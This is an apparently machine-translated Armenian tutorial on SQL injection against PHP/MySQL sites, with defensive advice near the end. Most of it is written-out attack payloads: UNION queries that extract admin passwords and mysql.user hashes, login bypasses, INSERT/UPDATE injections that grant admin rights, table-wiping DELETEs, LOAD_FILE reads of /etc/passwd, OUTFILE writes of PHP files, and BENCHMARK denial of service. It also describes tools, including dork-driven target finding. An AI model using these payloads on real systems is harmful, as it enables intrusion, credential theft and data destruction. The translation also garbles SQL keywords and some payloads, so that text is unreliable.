Sql ներարկում. Ինչ է դա? Ինչպես պարզել MySQL տարբերակները

Անզգուշությունն ու անուշադրությունը երկու պատճառ են SQL ներարկումների համար խոցելի կոդ գրելու համար: Երրորդ պատճառը՝ անտեղյակությունը, պետք է խրախուսի ծրագրավորողին խորացնել իր գիտելիքները կամ նույնիսկ փոխել իր մասնագիտությունը։

SQL ներարկում ( SQL ներարկում) - խոցելիություն որը տեղի է ունենում տվյալների անբավարար ստուգման և մշակման պատճառով, որոնք փոխանցվում են օգտագործողից և թույլ են տալիս փոփոխել և կատարել SQL ծրագրի կոդով չսպասված հարցումները։

SQL ներարկումը համացանցում տարածված անվտանգության թերություն է, որը հեշտությամբ շահագործվում է առանց հատուկ ծրագրերի և չի պահանջում լայնածավալ տեխնիկական գիտելիքներ: Այս խոցելիության օգտագործումը դուռ է բացում մեծ հնարավորությունների համար, ինչպիսիք են.

  • տվյալների գողություն - 80%;
  • ծառայության մերժում - 10 տոկոս;
  • տվյալների փոխարինում կամ ոչնչացում - 2-3%;
  • այլ դեպքեր և մտադրություններ:

Կան նաև տարբեր ծրագրեր՝ վեբկայքի անվտանգությունը ստուգելու բոլոր տեսակի JS և SQL ներարկումների համար:

Մանրամասն բացատրություն

Այս հոդվածում ես կփորձեմ բացատրել այն հիմնական ռիսկերը, որոնք առաջանում են MySQL տվյալների բազայի հետ շփվելիս։ Պարզության համար ես կտամ տվյալների բազայի պարզ կառուցվածքի օրինակ, որը բնորոշ է նախագծերի մեծ մասի համար.

ՍՏԵՂԾԵԼ ՏՎՅԱԼՆԵՐԻ ԲԱԶԱՆ «նորություններ»; ՕԳՏԱԳՈՐԾԵԼ «նորություններ»; # # նորությունների աղյուսակ # ՍՏԵՂԾԵԼ ԱՂՅՈՒՍԱԿ «նորություններ» («id» int(11) NOT NULL auto_increment, «title» varchar(50) default NULL, «date» datetime default NULL, «text» text, PRIMARY KEY («id» )) TYPE=MyISAM; # # ավելացնել որոշ տվյալներ # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" լրատվական տեքստ»; INSERT `news` SET `id`="2", `title`="երկրորդ նորություն", `date`="2005-06-24 12:12:33", `text`="փորձնական նորություն"; # # օգտվողների աղյուսակ # ՍՏԵՂԾԵԼ ԱՂՅՈՒՍԱԿ «օգտատերեր» («id» int(11) NOT NULL auto_increment, «login» varchar(50) default NULL, «password» varchar(50) default NULL, «admin» int(1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE=MyISAM; # # ավելացնել մի քանի օգտվող, մեկը՝ ադմինիստրատորի իրավունքներով, մյուսը՝ պարզ # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 «; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Մենք տեսնում ենք, որ հարցումը ձևավորվում է՝ կախված $_GET["id"] արժեքից։ Խոցելիությունը ստուգելու համար բավական է այն փոխել մի արժեքի, որը կարող է սխալ առաջացնել SQL հարցումը կատարելիս։

Իհարկե, կարող է սխալ ելք չլինել, բայց դա չի նշանակում, որ սխալ չկա, արդյունքում.

«Դուք սխալ ունեք ձեր SQL շարահյուսության մեջ. ստուգեք ձեռնարկը, որը համապատասխանում է ձեր MySQL սերվերի տարբերակին, որպեսզի ճիշտ շարահյուսություն օգտագործվի «»»-ի մոտ 1-ին տողում:

կամ արդյունք

http://test.com/index.php?id=2-1

եթե կա խոցելիություն, այն պետք է բերի նման արդյունք

http://test.com/index.php?id=1.

Նմանատիպ խոցելիություններ թույլ է տալիս փոփոխել հարցումը WHERE պարամետրի մասում։ Առաջին բանը, որ հարձակվողը կանի, երբ հայտնաբերվի նման խոցելիություն, դա ստուգելն է, թե քանի դաշտ է օգտագործվում հարցումում: Դա անելու համար դիտավորյալ սխալ ID է սահմանվում՝ բացառելու իրական տեղեկատվության ելքը և համակցվում է նույն թվով դատարկ դաշտերով հարցման հետ:

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

«nulls» թիվը պետք է համապատասխանի հարցումում օգտագործված դաշտերի քանակին:

Եթե ​​հարցումը սխալ է թույլ տալիս, ապա ավելացվում է մեկ այլ դատարկ արժեք, մինչև սխալը անհետանա և դատարկ տվյալների հետ արդյունքը վերադարձվի: Հաջորդը, համակցված դաշտերը փոխարինվում են արժեքներով, որոնք կարող են տեսողականորեն դիտարկվել էջում:

Օրինակ:

http://test.com/index.php?id=-1+UNION+SELECT+null

Հիմա այն էջում, որտեղ պետք է ցուցադրվեր լուրերի վերնագիրը, կհայտնվի qwerty։

Ինչպե՞ս պարզել MySQL տարբերակները:

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Ինչպե՞ս վերականգնել տվյալների բազայի ընթացիկ օգտագործողի մուտքը:

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Ո՞րն է օգտագործվող տվյալների բազայի անվանումը:

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Ինչպե՞ս ստանալ այլ տվյալներ այլ աղյուսակներից:

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Սա պարզ միջոց է պարզելու ադմինիստրատորի գաղտնաբառը կամ գաղտնաբառի հեշը: Եթե ​​ներկայիս օգտատերը մուտքի իրավունք ունի «mysql» տվյալների բազայի վրա, հարձակվողը կստանա ադմինիստրատորի գաղտնաբառի հաշիշը՝ առանց չնչին խնդրի:

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Այժմ նրա ընտրությունը պարզապես ժամանակի հարց է։

Որոնում

Որոնումը ամենախոցելի վայրերից մեկն է, քանի որ հարցումների մեծ թվով պարամետրեր փոխանցվում են միաժամանակ: Պարզ հարցման օրինակ, որը որոնում է հիմնաբառով.

ԸՆՏՐԵԼ * «Նորություններից» ՈՐՏԵՂ «վերնագիր» Հավանում է «%$search%» ԿԱՄ «տեքստը» Հավանում «%$search%»

$search բառն է, որն ուղարկվում է ձևից: Հարձակվողը կարող է փոխանցել $search="# փոփոխականի մեջ, այժմ հարցումը կունենա հետևյալ տեսքը.

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Համապատասխանաբար, հիմնաբառի որոնման արդյունքների փոխարեն կցուցադրվեն բոլոր տվյալները: Սա նաև թույլ է տալիս օգտագործել վերը նկարագրված հարցումների համախմբման գործառույթը:

Օգտագործելով ORDER պարամետրը

Հաճախ կարող եք տեսնել, որ որոնման պարամետրերը մուտքագրելիս կամ տեղեկատվություն ցուցադրելիս դրանք թույլ են տալիս օգտվողին տեսակավորել տվյալները ըստ որոշակի դաշտերի: Անմիջապես կասեմ, որ այս խոցելիության օգտագործումը այնքան էլ վտանգավոր չէ, քանի որ այն սխալ կառաջացնի հարցումները համատեղելիս, բայց այլ ոլորտների խոցելիությունների հետ միասին այս պարամետրը մեկնաբանելու վտանգ կա:

http://test.com/index.php?sort=name

ORDER պարամետրը ձևավորվում է կախված $sort փոփոխականից

Հետևյալ հարցումը կստեղծվի.

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

դրանով իսկ մեկնաբանելով պայմաններից մեկը և ORDER պարամետրը

Այժմ դուք կարող եք կրկին միավորել հարցումը՝ նշանակելով $sort=*/ UNION SELECT...

Որպես այս պարամետրի խոցելիությունը օգտագործելու տարբերակ.

SELECT * FROM `users` ORDER BY LENGTH (գաղտնաբառ);

Այն թույլ կտա տեսակավորել օգտվողներին՝ կախված գաղտնաբառի երկարությունից՝ պայմանով, որ այն պահպանվի «մաքուր» տեսքով:

Թույլտվություն

Այժմ փորձենք դիտարկել SQL ներարկումների տարբերակները, որոնք տեղի են ունենում օգտագործողի թույլտվության ժամանակ: Սովորաբար, թույլտվության տվյալների ճշգրտությունը ստուգող հարցումն այսպիսի տեսք ունի.

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

որտեղ $login-ը և $password-ը փոփոխականներ են, որոնք փոխանցվում են ձևից: Նման հարցումը հաջողության դեպքում օգտատիրոջ համար վերադարձնում է տվյալներ, իսկ անհաջողության դեպքում՝ դատարկ արդյունք: Համապատասխանաբար, թույլտվությունն անցնելու համար հարձակվողին անհրաժեշտ է միայն փոփոխել հարցումը, որպեսզի այն վերադարձնի ոչ զրոյական արդյունք: Նշվում է մուտք, որը համապատասխանում է իրական օգտագործողին, և գաղտնաբառի փոխարեն՝ « ԿԱՄ «1»="1» կամ ինչ-որ իրական պայման (1, «a»="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 1-ի և 3-ի միջև): Համապատասխանաբար, հարցումը կստեղծվի հետևյալ կերպ.

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

ինչը կվերադարձնի արդյունքը, և արդյունքում կհանգեցնի չարտոնված թույլտվության։ Իսկ եթե աղյուսակի գաղտնաբառերը հաշված են: Այնուհետև գաղտնաբառի ստուգումը պարզապես «անջատվում է»՝ մեկնաբանելով այն ամենը, ինչ գալիս է «մուտքից» հետո: Ձևում, մուտքի փոխարեն, նշանակվում է իրական օգտագործողի մուտքը և «# դրանով մեկնաբանելով գաղտնաբառի ստուգումը:

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

որպես տարբերակ «OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Մեծ սխալ է գաղտնաբառն այսպես ստուգելը.

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE «$password»

քանի որ այս դեպքում գաղտնաբառը % հարմար է ցանկացած մուտքի համար

ՆԵՐԴՐԵԼ ԵՎ ԹԱՐՄԱՑՆԵԼ

Այնուամենայնիվ, միայն SELECT-ները չեն, որ թույլ կետ են SQL-ում: INSERT-ը և UPDATE-ը կարող են լինել ոչ պակաս խոցելի: Ենթադրենք, կայքն ունի օգտատերերի գրանցման հնարավորություն։ Հարցում, որն ավելացնում է նոր օգտվող.

Դաշտերից մեկում առկա խոցելիությունը թույլ է տալիս հարցումը փոփոխել անհրաժեշտ տվյալներով: Մուտքի դաշտում մենք ավելացնում ենք օգտվող», «գաղտնաբառ», 1)#՝ դրանով իսկ ավելացնելով ադմինիստրատորի իրավունք ունեցող օգտվող։

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

Ենթադրենք, «admin» դաշտը գտնվում է «login» դաշտից առաջ, ուստի «login» դաշտից հետո ստացված տվյալները փոխարինելու հնարքը չի գործում։ Հիշենք, որ INSERT հրամանի շարահյուսությունը թույլ է տալիս ավելացնել ոչ միայն մեկ տող, այլ մի քանի տող։ Մուտքի դաշտում խոցելիության օրինակ՝ $login= օգտատեր», «գաղտնաբառ»), (1, «հակեր», «գաղտնաբառ»)#

INSERT INTO «users» SET («admin», «login», «password») VALUES (0, «user», «password»), (1, «hacker», «password»)#», «password») ;

Այս կերպ ստեղծվում է 2 գրառում՝ մեկը պարզ օգտատիրոջ իրավունքներով, մյուսը՝ ցանկալի ադմինի իրավունքներով։

Նմանատիպ իրավիճակ UPDATE-ի դեպքում

Փոփոխելու համար լրացուցիչ դաշտերի ավելացում.

$login=", `password`="", `admin`="1

Հետո նմանատիպ խնդրանք

UPDATE `users` SET `login`="teapot" WHERE `id`=2;

Փոփոխվել է հետևյալ կերպ.

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Ի՞նչ է լինելու։ ID 2-ով օգտվողը կփոխի մուտքն ու գաղտնաբառը դատարկ արժեքների և կստանա ադմինիստրատորի իրավունքներ: Կամ դեպքում

$login=", `password`="" WHERE `id` =1#

Ադմինիստրատորի մուտքն ու գաղտնաբառը դատարկ կլինեն:

ՋՆՋԵԼ

Այստեղ ամեն ինչ պարզ է, դուք չեք կարողանա որևէ տվյալ ստանալ կամ փոխել, բայց դուք միշտ կարող եք ջնջել ավելորդ տվյալները:

$id=1 ԿԱՄ 1=1

Ջնջել «նորություններից» ՈՐՏԵՂ՝ «id»="1" ԿԱՄ 1=1; // մաքրում է աղյուսակի բոլոր գրառումները:

1=1-ի փոխարեն կարող է լինել վերը նշված ցանկացած իրական պայման: LIMIT պարամետրը կարող է պահպանվել, ինչը կսահմանափակի ջնջված տողերի քանակը, բայց ոչ միշտ, այն կարելի է պարզապես մեկնաբանել:

Ջնջել «նորություններից» ՈՐՏԵՂ՝ «id»="1" ԿԱՄ 1=1# LIMIT 1;

Ֆայլերի հետ աշխատել SQL ներարկման միջոցով

Ես լրջորեն կասկածում եմ, որ դա կարող է տեղի ունենալ ցանկացած վայրում, բայց արդարության համար պետք է նկարագրել նաև նման մեթոդները։ Երբ ֆայլի արտոնությունները միացված են, կարող եք օգտագործել LOAD_FILE և OUTFILE հրամանները:

Դրանց վտանգի մասին կարելի է դատել ստորև ներկայացված հարցումներից.

SELECT * FROM `news` WHERE `id`=-1 միավորում ընտրել null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Բայց բոլոր անախորժությունները դեռ այսքանով չեն ավարտվում։

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news`-ից դեպի outfile "/home/test/www/test.php";

Այսպես մենք գրում ենք ֆայլ, որը պարունակում է PHP կոդ։ Ճիշտ է, կոդից բացի, դրանում կլինեն ևս մի քանի զրոյական գրառումներ, բայց դա ոչ մի կերպ չի ազդի PHP կոդի աշխատանքի վրա։ Այնուամենայնիվ, կան մի քանի պայմաններ, որոնց շնորհիվ այս մեթոդները կաշխատեն.

  • FILE-ի արտոնությունը միացված է տվյալների բազայի ընթացիկ օգտագործողի համար.
  • Այս ֆայլերը կարդալու կամ գրելու իրավունքները պատկանում են այն օգտվողին, որի տակ աշխատում է MySQL սերվերը.
  • Պակաս կարևոր պայմանն այն է, որ ֆայլի չափը պետք է փոքր լինի max_allowed_packet-ից, բայց քանի որ MySQL 3.23-ում ամենամեծ փաթեթի չափը կարող է լինել 16 ՄԲ, իսկ 4.0.1 և ավելի, փաթեթի չափը սահմանափակվում է միայն առկա հիշողության քանակով, մինչև տեսական առավելագույնը 2 ԳԲ այս պայմանը սովորաբար միշտ հասանելի է:

Կախարդական մեջբերումներ

Կախարդական չակերտները անհնարին են դարձնում SQL ներարկումների օգտագործումը լարային փոփոխականներում, քանի որ դրանք ինքնաբերաբար դուրս են գալիս բոլոր « և «ներից, որոնք գալիս են $_GET-ի և $_POST-ի հետ: Բայց սա չի վերաբերում ամբողջ թվով կամ կոտորակային պարամետրերում խոցելիության օգտագործմանը, թեև բացառությամբ, որ հնարավոր չի լինի օգտագործել ": Այս դեպքում օգնում է char ֆունկցիան:

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS SQL ներարկման միջոցով:

Համարյա մոռացա ասել, և SQL փորձագետները կհաստատեն, որ UNION օպերացիան հնարավոր է միայն MySQL >=4.0.0-ում: Նախորդ տարբերակներով նախագծեր ունեցող մարդիկ թեթեւացած շունչ քաշեցին :) Բայց ամեն ինչ այնքան ապահով չէ, որքան թվում է առաջին հայացքից։ Հարձակվողի տրամաբանությանը երբեմն դժվար է հետևել: «Եթե չկարողանամ թալանել, գոնե կձախողվեմ»,- կմտածի հաքերը՝ օրինակի հարցում մուտքագրելով BENCHMARK ֆունկցիան։

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Ինձնից 12-ից 15 վայրկյան տևեց: Զրոյի ավելացում - 174 վայրկյան: Ես պարզապես չկարողացա ձեռքս բարձրացնել՝ ավելին անելու համար: Իհարկե, հզոր սերվերների վրա նման բաները շատ ավելի արագ կկատարվեն, բայց...BENCHMARK-ը թույլ է տալիս հերթով ներդնել ինքներդ։ Սրա նման:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Կամ նույնիսկ այսպես

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Իսկ զրոների թիվը սահմանափակվում է միայն դրանք մուտքագրողի «բարեհաճությամբ»։

Կարծում եմ, որ նույնիսկ ՇԱՏ հզոր մեքենան չի կարողանա հեշտությամբ կուլ տալ նման խնդրանքները։

Ներքեւի գիծ

Այսքանը: Այս հոդվածում ես փորձեցի հնարավորինս լուսաբանել խոցելիության տեսակները, որոնք ծրագրավորողները ստեղծում են MySQL տվյալների բազաների միջոցով ծրագրեր ստեղծելիս: Սակայն ավելի քան վստահ եմ, որ սա ամբողջական ցանկ չէ։

Կարևոր է հիշել SQL ներարկումների դեմ կանոնները

  • Մի վստահեք ՈՉ մի տվյալների, որոնք ստացվում են օգտվողից: Խոսքը միայն այն տվյալների մասին չէ, որոնք փոխանցվում են $_GET և $_POST զանգվածներում: Մի մոռացեք $_COOKIE-ի և HTTP վերնագրերի այլ մասերի մասին: Պետք է հիշել, որ դրանք հեշտ է փոխարինել։
  • Դուք չպետք է ապավինեք PHP-ի «կախարդական մեջբերումներ» տարբերակին, որը հավանաբար ավելի շատ խանգարում է, քան օգնում: Բոլոր տվյալները, որոնք փոխանցվում են տվյալների բազա, պետք է ամփոփվեն ըստ տեսակի տվյալների բազայի դաշտերով: ($id=(int)$_GET["id"]) կամ պաշտպանված է mysql_real_escape_string կամ mysql_real_escape_string ֆունկցիաներով:
  • mysql_real_escape_string-ը չի փախչում % և _, ուստի այն չպետք է օգտագործվի LIKE-ի հետ միասին:
  • Դուք նույնպես չպետք է շատ ապավինեք ճիշտ գրված mod_rewrite-ին: Սրանք միայն «հարմար» URL-ներ ստեղծելու եղանակներ են, բայց, իհարկե, SQL ներարկումներից պաշտպանվելու միջոց չեն:
  • Անջատել սխալի մասին հաղորդումը:
  • Մի օգնեք վատ այցելուներին: Եթե ​​անգամ սխալը հայտնաբերվի, դրա մասին տեղեկատվության բացակայությունը լրջորեն կխանգարի դրա կիրառմանը: Հիշեք զարգացման փուլի և աշխատանքային նախագծի տարբերությունը: Սխալ ելքև այլ մանրամասն տեղեկություններ՝ ձեր դաշնակիցը զարգացման փուլում, և հարձակվողի դաշնակիցըաշխատանքային տարբերակով։ Պետք չէ նաև թաքցնել դրանք՝ մեկնաբանելով HTML կոդի մեջ, յուրաքանչյուր 1000 այցելուին կգտնվի 1, ով դեռ կգտնի նման բաներ։
  • Կառավարեք սխալները:
  • SQL հարցումները մշակող գրեք այնպես, որ դրանց մասին տեղեկությունները պահվեն որոշ տեղեկամատյաններում կամ ուղարկվեն փոստով:
  • Մի պահեք տվյալների բազայի հասանելիության տվյալները ֆայլերում, որոնք չեն մշակվում PHP-ի կողմից որպես կոդ:
  • Չեմ կարծում, որ ես որևէ մեկին հայտնաբերել եմ Ամերիկան, բայց իմ սեփական փորձից կարող եմ ասել, որ այս պրակտիկան բավականին տարածված է: Սովորաբար սա *.inc ընդլայնմամբ ֆայլ է
  • Մի ստեղծեք տվյալների բազա «սուպեր օգտվող»:
  • Տրամադրել միայն այն իրավունքները, որոնք անհրաժեշտ են կոնկրետ առաջադրանքներ կատարելու համար:
  • Որոնման մեջ արժե սահմանափակել նիշերի նվազագույն և առավելագույն քանակը, որոնք հարցման պարամետրերն են:
  • Ազնիվ օգտատիրոջ համար 3-ից 60-70 նիշը բավական է բավարարելու նրա որոնման հետաքրքրությունները, և միևնույն ժամանակ դուք կանխում եք իրավիճակներ, երբ որոնման հարցումը կլինի «Պատերազմ և խաղաղություն» ծավալը:
  • Միշտ ստուգեք հարցումից հետո վերադարձված գրառումների քանակը

PHP-ով գրված կայքերի գրեթե 90%-ըՆման տրամաբանական սխալ կա, սա հատկապես կարելի է նկատել, երբ հարցում է արվում օգտատիրոջից ստացված ID-ի հիման վրա: Եթե դուք ձեռքով սկրիպտին տրամադրեք գոյություն չունեցող ID, մենք բավականին հետաքրքիր արդյունքներ կտեսնենք որոշ սկրիպտների աշխատանքից: 404-ը վերադարձնելու փոխարեն ծրագիրը լավագույն դեպքում ոչինչ չի անի և կցուցադրվի դատարկ էջի վրա:

Ապահով SQL ձեզ համար.

Ինտերնետում կայքերի և էջերի թիվը անշեղորեն աճում է: Յուրաքանչյուր ոք, ով կարող է, իր վրա է վերցնում զարգացումը: Իսկ սկսնակ վեբ ծրագրավորողները շատ հաճախ օգտագործում են ոչ անվտանգ և հին կոդ։ Եվ սա բազմաթիվ բացեր է ստեղծում հարձակվողների և հաքերների համար: Ինչն էլ օգտագործում են։ Ամենադասական խոցելիություններից մեկը SQL ներարկումն է:

Մի փոքր տեսություն

Շատերը գիտեն, որ կայքերի և ծառայությունների մեծ մասը ինտերնետում օգտագործում է SQL տվյալների բազա՝ դրանք պահելու համար: Սա հարցումների կառուցվածքային լեզու է, որը թույլ է տալիս կառավարել և կառավարել տվյալների պահեստները: Տվյալների բազայի կառավարման համակարգերի շատ տարբեր տարբերակներ կան՝ Oracle, MySQL, Postgre: Անկախ անունից և տեսակից, նրանք նույն կերպ օգտագործում են տվյալների հարցումները։ Հենց այստեղ է կայանում պոտենցիալ խոցելիությունը: Եթե ​​մշակողը չի կարողացել ճիշտ և ապահով կերպով մշակել հարցումը, ապա հարձակվողը կարող է օգտվել դրանից և օգտագործել հատուկ մարտավարություն տվյալների բազա մուտք գործելու համար և այնտեղից վերահսկել ամբողջ կայքը:

Նման իրավիճակներից խուսափելու համար հարկավոր է ճիշտ օպտիմալացնել կոդը և ուշադիր հետևել, թե որ հարցումն ինչ ձևով է մշակվում։

SQL ներարկումների ստուգում

Ցանցում խոցելիության առկայությունը որոշելու համար կան բազմաթիվ պատրաստի ավտոմատացված ծրագրային համակարգեր։ Բայց դուք կարող եք ձեռքով պարզ ստուգում կատարել: Դա անելու համար դուք պետք է գնաք այն կայքերից մեկը, որոնք ուսումնասիրում եք և փորձեք տվյալների բազայի սխալ առաջացնել հասցեագոտում: Օրինակ, վեբկայքի սկրիպտը կարող է չմշակել հարցումները և չկտրել դրանք:

Օրինակ, կա որոշակի_site/index.php?id=25

Ամենահեշտ ձևը 25-ից հետո մեջբերում դնելն ու հարցում ուղարկելն է։ Եթե ​​սխալ չի լինում, ապա կամ բոլոր հարցումները զտվում են կայքում և ճիշտ մշակվում, կամ դրանց ելքը անջատված է կարգավորումներում: Եթե ​​էջը վերաբեռնվել է խնդիրներով, դա նշանակում է, որ կա խոցելիություն SQL ներարկման համար:

Երբ այն հայտնաբերվի, կարող եք փորձել ազատվել դրանից:

Այս խոցելիությունն իրականացնելու համար դուք պետք է մի փոքր իմանաք դրանցից մեկը UNION-ն է: Այն միավորում է բազմաթիվ հարցումների արդյունքները մեկի մեջ: Այս կերպ Դուք կարող եք հաշվարկել աղյուսակի դաշտերի քանակը: Առաջին հարցման օրինակը հետևյալն է.

  • some_site/index.php?id=25 UNION SELECT 1.

Շատ դեպքերում նման գրառումը պետք է սխալ առաջացնի: Սա նշանակում է, որ դաշտերի թիվը հավասար չէ 1-ի: Այսպիսով, ընտրելով 1 և ավելի տարբերակներից, կարող եք սահմանել դրանց ճշգրիտ թիվը.

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6:

Այսինքն, երբ սխալը դադարում է հայտնվել, դա նշանակում է, որ դաշտերի թիվը ճիշտ է:

Այս խնդրին կա նաև այլընտրանքային լուծում. Օրինակ, երբ դաշտերի քանակը մեծ է՝ 30, 60 կամ 100։ Սա GROUP BY հրամանն է։ Այն խմբավորում է հարցումների արդյունքները ըստ որոշ բնութագրերի, օրինակ՝ id:

  • some_site/index.php?id=25 GROUP BY 5.

Եթե ​​սխալներ չեն ստացվել, դա նշանակում է, որ կան 5-ից ավելի դաշտեր:Այսպիսով, փոխարինելով ընտրանքները բավականին լայն շրջանակից, կարող եք հաշվարկել, թե իրականում քանիսն են դրանք:

SQL ներարկման այս օրինակը սկսնակների համար է, ովքեր ցանկանում են իրենց ուժերը փորձել իրենց վեբկայքը փորձարկելիս: Կարևոր է հիշել, որ կա Քրեական օրենսգրքի հոդված՝ ուրիշի սեփականություն չարտոնված մուտք գործելու համար:

Ներարկումների հիմնական տեսակները

SQL ներարկման միջոցով խոցելիության ներդրման մի քանի տարբերակներ կան։ Ամենատարածված մեթոդները հետևյալն են.

    UNION ներարկում. Այս տեսակի պարզ օրինակն արդեն քննարկվել է վերևում: Այն իրականացվում է մուտքային տվյալների ստուգման սխալի պատճառով, որոնք ոչ մի կերպ չեն զտվում:

    Սխալների վրա հիմնված SQL ներարկում: Ինչպես անունն է հուշում, այս տեսակը նաև օգտագործում է սխալները՝ ուղարկելով շարահյուսական սխալ արտահայտություններ։ Այնուհետև պատասխանի վերնագրերը գաղտնալսվում են՝ վերլուծելով, որոնք հետագայում կարող են օգտագործվել SQL ներարկում կատարելու համար:

    Դրսեւորված ներարկում: Այս խոցելիությունը որոշվում է հաջորդական հարցումների կատարմամբ: Այն բնութագրվում է վերջում «;» ավելացնելով: Այս մոտեցումն ամենից հաճախ իրականացվում է կարդալու և գրելու տվյալների իրականացումը մուտք գործելու կամ օպերացիոն համակարգի գործառույթները վերահսկելու համար, եթե արտոնությունները դա թույլ են տալիս:

Ծրագրային համակարգեր SQL խոցելիությունների որոնման համար

Հասանելի է SQL ներարկումներ իրականացնելու համար, ծրագրերը սովորաբար ունենում են երկու բաղադրիչ՝ կայքի սկանավորումը հնարավոր խոցելիության համար և օգտագործում դրանք տվյալներին հասանելիություն ստանալու համար: Նման կոմունալ ծառայություններ կան գրեթե բոլոր հայտնի հարթակների համար: Նրանց ֆունկցիոնալությունը մեծապես նպաստում է կայքի ստուգմանը SQL ներարկման միջոցով կոտրելու հնարավորության համար:

Sqlmap

Շատ հզոր սկաներ, որն աշխատում է շատ հայտնի DBMS-ների հետ: Աջակցում է SQL ներարկման տարբեր մեթոդներին: Այն ունի գաղտնաբառի հեշի տեսակը ավտոմատ կերպով ճանաչելու և բառարանի միջոցով կոտրելու հնարավորություն: Գործառույթ կա նաև սերվերից ֆայլեր ներբեռնելու և վերբեռնելու համար:

Linux միջավայրում տեղադրումն իրականացվում է հրամանների միջոցով.

  • git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Windows-ի համար կա և հրամանի տող, և գրաֆիկական ինտերֆեյսի տարբերակ:

jSQL ներարկում

jSQL Injection-ը միջպլատֆորմային գործիք է SQL խոցելիությունների շահագործման փորձարկման համար: Գրված է Java-ով, ուստի JRE-ը պետք է տեղադրվի համակարգում: Կարող է մշակել վերնագրի և թխուկների հարցումները: Ունի հարմար գրաֆիկական ինտերֆեյս։

Այս ծրագրային փաթեթի տեղադրումն ընթանում է հետևյալ կերպ.

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| գլուխ-n 1`

Գործարկել՝ օգտագործելով java -jar ./jsql-injection-v*.jar հրամանը

Որպեսզի սկսեք ստուգել կայքը SQL խոցելիության համար, դուք պետք է մուտքագրեք դրա հասցեն վերևի դաշտում: Դրանք առանձին են GET-ի և POST-ի համար: Եթե ​​արդյունքը դրական է, ձախ պատուհանում կհայտնվի առկա աղյուսակների ցանկը: Դուք կարող եք դիտել դրանք և պարզել որոշ գաղտնի տեղեկություններ:

Վարչական վահանակներ որոնելու համար օգտագործեք «Admin page» ներդիրը: Այն ավտոմատ կերպով որոնում է արտոնյալ օգտվողների համակարգի գրառումները՝ օգտագործելով հատուկ կաղապարներ: Դրանցից դուք կարող եք ստանալ միայն գաղտնաբառի հեշ: Բայց այն հասանելի է նաև ծրագրային գործիքներում։

Բոլոր խոցելի տեղերը գտնելուց և անհրաժեշտ հարցումները ներարկելուց հետո կոմունալը թույլ կտա վերբեռնել ձեր ֆայլը սերվեր կամ, ընդհակառակը, ներբեռնել այն այնտեղից:

SQLi Dumper v.7

Այս ծրագիրը հեշտ օգտագործման գործիք է SQL-ում խոցելիություններ գտնելու և ներդնելու համար: ՄԱԿ-ը սա արտադրում է այսպես կոչված դորկների հիման վրա։ Նրանց ցուցակները կարելի է գտնել համացանցում։ SQL ներարկման հիմնաբառերը որոնման հարցումների հատուկ օրինաչափություններ են: Նրանց օգնությամբ դուք կարող եք պոտենցիալ գտնել դրանք ցանկացած որոնման համակարգի միջոցով:

Վերապատրաստման գործիքներ

Itecgames.com կայքը ունի գործիքների հատուկ հավաքածու, որը թույլ է տալիս օրինակներով ցույց տալ, թե ինչպես կատարել SQL ներարկում և փորձարկել այն: Այն օգտագործելու համար անհրաժեշտ է ներբեռնել և տեղադրել այն։ Արխիվը պարունակում է մի շարք ֆայլեր, որոնք ներկայացնում են կայքի կառուցվածքը: Այն տեղադրելու համար ձեզ անհրաժեշտ կլինի համակարգում հասանելի Apache, MySQL և PHP վեբ սերվերների մի շարք:

Արխիվը վեբ սերվերի թղթապանակում բացելուց հետո դուք պետք է գնաք այս ծրագրային արտադրանքը տեղադրելիս մուտքագրված հասցեին: Օգտատիրոջ գրանցման էջը կբացվի: Այստեղ դուք պետք է մուտքագրեք ձեր տվյալները և սեղմեք «Ստեղծել»: Օգտագործողին նոր պատուհան տեղափոխելով՝ համակարգը կառաջարկի ընտրել թեստավորման տարբերակներից մեկը: Դրանց թվում կան ինչպես նկարագրված ներարկումներ, այնպես էլ բազմաթիվ այլ թեստային առաջադրանքներ։

